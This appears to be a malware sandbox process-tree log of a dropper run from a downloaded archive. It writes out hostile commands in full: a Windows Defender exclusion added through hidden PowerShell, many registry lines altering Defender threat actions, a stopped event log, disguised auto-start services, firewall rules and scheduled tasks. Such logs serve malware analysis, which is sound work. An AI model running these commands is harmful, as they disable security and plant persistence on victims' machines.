"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3048,i,14181902742403423825,15337050471854034169,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3080 /prefetch:1
2⤵
PID:844

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3064,i,14181902742403423825,15337050471854034169,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3260 /prefetch:1
2⤵
PID:3508

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4812,i,14181902742403423825,15337050471854034169,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4832 /prefetch:8
2⤵
PID:3432

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4448,i,14181902742403423825,15337050471854034169,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4504 /prefetch:8
2⤵
- NTFS ADS
PID:4396

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"
1⤵
PID:2320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2768

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5020

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\district7845k3.rar"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:580

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SendNotifyMessage
PID:1268

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /1
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
PID:1572

C:\Users\Admin\Desktop\a\setup.exe
"C:\Users\Admin\Desktop\a\setup.exe"
1⤵
- Modifies firewall policy service
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2524

C:\Users\Admin\Documents\SimpleAdobe\38QvdYNi5VKzUjtsmoG9LlW9.exe
C:\Users\Admin\Documents\SimpleAdobe\38QvdYNi5VKzUjtsmoG9LlW9.exe
2⤵
- Executes dropped EXE
PID:2736

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
3⤵
- Power Settings
PID:2084

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
3⤵
- Power Settings
PID:4660

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
3⤵
- Power Settings
PID:3644

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
3⤵
- Power Settings
PID:1904

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "CIFUBVHI"
3⤵
- Launches sc.exe
PID:4500

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "CIFUBVHI" binpath= "C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe" start= "auto"
3⤵
- Launches sc.exe
PID:3152

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:3352

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "CIFUBVHI"
3⤵
- Launches sc.exe
PID:1088

C:\Users\Admin\Documents\SimpleAdobe\r99j1zbGXuE0Rgh4_PSS6LgU.exe
C:\Users\Admin\Documents\SimpleAdobe\r99j1zbGXuE0Rgh4_PSS6LgU.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2992

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
3⤵
PID:436

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
3⤵
- Suspicious use of SetWindowsHookEx
PID:2560

C:\ProgramData\IEBFHCAKFB.exe
"C:\ProgramData\IEBFHCAKFB.exe"
4⤵
PID:2832

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
5⤵
PID:4880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4880 -s 1084
6⤵
- Program crash
PID:4244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4880 -s 1100
6⤵
- Program crash
PID:5080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4880 -s 1084
6⤵
- Program crash
PID:3048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4880 -s 1116
6⤵
- Program crash
PID:1764

C:\ProgramData\ECFHIJKJKF.exe
"C:\ProgramData\ECFHIJKJKF.exe"
4⤵
PID:1088

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
5⤵
PID:4044

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
5⤵
PID:2516

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
5⤵
PID:4488

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\KJJJKFIIIJJJ" & exit
4⤵
PID:1464

C:\Windows\SysWOW64\timeout.exe
timeout /t 10
5⤵
- Delays execution with timeout.exe
PID:1616

C:\Users\Admin\Documents\SimpleAdobe\z1ZQQNKJNNbY8QZLH7lbLgYD.exe
C:\Users\Admin\Documents\SimpleAdobe\z1ZQQNKJNNbY8QZLH7lbLgYD.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
PID:3448

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4488

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:2420

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4040

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious use of SetWindowsHookEx
PID:2492

C:\Users\Admin\Documents\SimpleAdobe\IMoKYPFKgn1syQluedN20JJu.exe
C:\Users\Admin\Documents\SimpleAdobe\IMoKYPFKgn1syQluedN20JJu.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1736

C:\Users\Admin\AppData\Local\Temp\7zS4901.tmp\Install.exe
.\Install.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3664

C:\Users\Admin\AppData\Local\Temp\7zS58B0.tmp\Install.exe
.\Install.exe /SYdidWVuIE "385132" /S
4⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:2920

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
5⤵
PID:2448

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
PID:1088

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Command and Scripting Interpreter: PowerShell
PID:3636

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
8⤵
PID:652

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bTVQzzKDZQMhkLPDbz" /SC once /ST 19:07:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS58B0.tmp\Install.exe\" hU /oRdidef 385132 /S" /V1 /F
5⤵
- Scheduled Task/Job: Scheduled Task
PID:404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2920 -s 828
5⤵
- Program crash
PID:1544

C:\Users\Admin\Documents\SimpleAdobe\nWdjxDTbCN5FMEEkKSfskTLE.exe
C:\Users\Admin\Documents\SimpleAdobe\nWdjxDTbCN5FMEEkKSfskTLE.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2624

C:\Users\Admin\AppData\Local\Temp\is-HT5LA.tmp\nWdjxDTbCN5FMEEkKSfskTLE.tmp
"C:\Users\Admin\AppData\Local\Temp\is-HT5LA.tmp\nWdjxDTbCN5FMEEkKSfskTLE.tmp" /SL5="$40214,4974980,54272,C:\Users\Admin\Documents\SimpleAdobe\nWdjxDTbCN5FMEEkKSfskTLE.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4256

C:\Users\Admin\AppData\Local\Audio Output Switcher\audiooutputswitcher32_64.exe
"C:\Users\Admin\AppData\Local\Audio Output Switcher\audiooutputswitcher32_64.exe" -i
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2068

C:\Users\Admin\AppData\Local\Audio Output Switcher\audiooutputswitcher32_64.exe
"C:\Users\Admin\AppData\Local\Audio Output Switcher\audiooutputswitcher32_64.exe" -s
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2336

C:\Users\Admin\Documents\SimpleAdobe\1X84PSuuA0y0QaAPi0a8BtoT.exe
C:\Users\Admin\Documents\SimpleAdobe\1X84PSuuA0y0QaAPi0a8BtoT.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2876

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kborhccd\
3⤵
PID:4664

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qxehwkdn.exe" C:\Windows\SysWOW64\kborhccd\
3⤵
PID:1576

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create kborhccd binPath= "C:\Windows\SysWOW64\kborhccd\qxehwkdn.exe /d\"C:\Users\Admin\Documents\SimpleAdobe\1X84PSuuA0y0QaAPi0a8BtoT.exe\"" type= own start= auto DisplayName= "wifi support"
3⤵
- Launches sc.exe
PID:4324

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description kborhccd "wifi internet conection"
3⤵
- Launches sc.exe
PID:2136

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start kborhccd
3⤵
- Launches sc.exe
PID:4932

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
3⤵
- Modifies Windows Firewall
PID:1112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2876 -s 844
3⤵
- Program crash
PID:3052

C:\Users\Admin\Documents\SimpleAdobe\aUsVW6eQgvmDedjfdg6pBNYa.exe
C:\Users\Admin\Documents\SimpleAdobe\aUsVW6eQgvmDedjfdg6pBNYa.exe
2⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetWindowsHookEx
PID:2028

C:\Users\Admin\Documents\SimpleAdobe\yd4DERbCDGWTwq59gQX94420.exe
C:\Users\Admin\Documents\SimpleAdobe\yd4DERbCDGWTwq59gQX94420.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4592

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
3⤵
- Suspicious use of SetWindowsHookEx
PID:32

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\HDBGDHDAECBG" & exit
4⤵
PID:4176

C:\Windows\SysWOW64\timeout.exe
timeout /t 10
5⤵
- Delays execution with timeout.exe
PID:4976

C:\Users\Admin\Documents\SimpleAdobe\4y1HNAvbvDy4j5ge1NnXrzpF.exe
C:\Users\Admin\Documents\SimpleAdobe\4y1HNAvbvDy4j5ge1NnXrzpF.exe
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:1552

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2124

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP LG" /sc ONLOGON /rl HIGHEST
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1636

C:\Users\Admin\Documents\SimpleAdobe\bQLB3FlZKYQi7tYDtfDZjwzi.exe
C:\Users\Admin\Documents\SimpleAdobe\bQLB3FlZKYQi7tYDtfDZjwzi.exe
2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:1960

C:\Users\Admin\Documents\SimpleAdobe\dVGIT9Tw2szYUM_tcnOl4Mkp.exe
C:\Users\Admin\Documents\SimpleAdobe\dVGIT9Tw2szYUM_tcnOl4Mkp.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
PID:1856

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious use of SetWindowsHookEx
PID:3668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1620

C:\Windows\SysWOW64\kborhccd\qxehwkdn.exe
C:\Windows\SysWOW64\kborhccd\qxehwkdn.exe /d"C:\Users\Admin\Documents\SimpleAdobe\1X84PSuuA0y0QaAPi0a8BtoT.exe"
1⤵
PID:2084

C:\Windows\SysWOW64\svchost.exe
svchost.exe
2⤵
PID:1948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 588
2⤵
- Program crash
PID:3776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2876 -ip 2876
1⤵
PID:4600

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2084 -ip 2084
1⤵
PID:3360

C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
1⤵
PID:4976

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
- Power Settings
PID:4132

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
- Power Settings
PID:2224

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
- Power Settings
PID:1516

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
- Power Settings
PID:4668

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:2476

C:\Windows\system32\svchost.exe
svchost.exe
2⤵
PID:3436

C:\Users\Admin\AppData\Local\Temp\7zS58B0.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS58B0.tmp\Install.exe hU /oRdidef 385132 /S
1⤵
PID:228

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
2⤵
PID:2828

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:1760

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:3336

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:1464

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:4016

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:3052

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:3492

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:2992

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:3076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:4584

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:1544

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:3760

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:4772

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:2820

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:3548

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:3564

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:3116

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:1908

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4600

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:1436

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:3944

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:3696

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:4048

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:200

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:4148

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:3224

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
3⤵
PID:1628

C:\Windows\SysWOW64\reg.exe
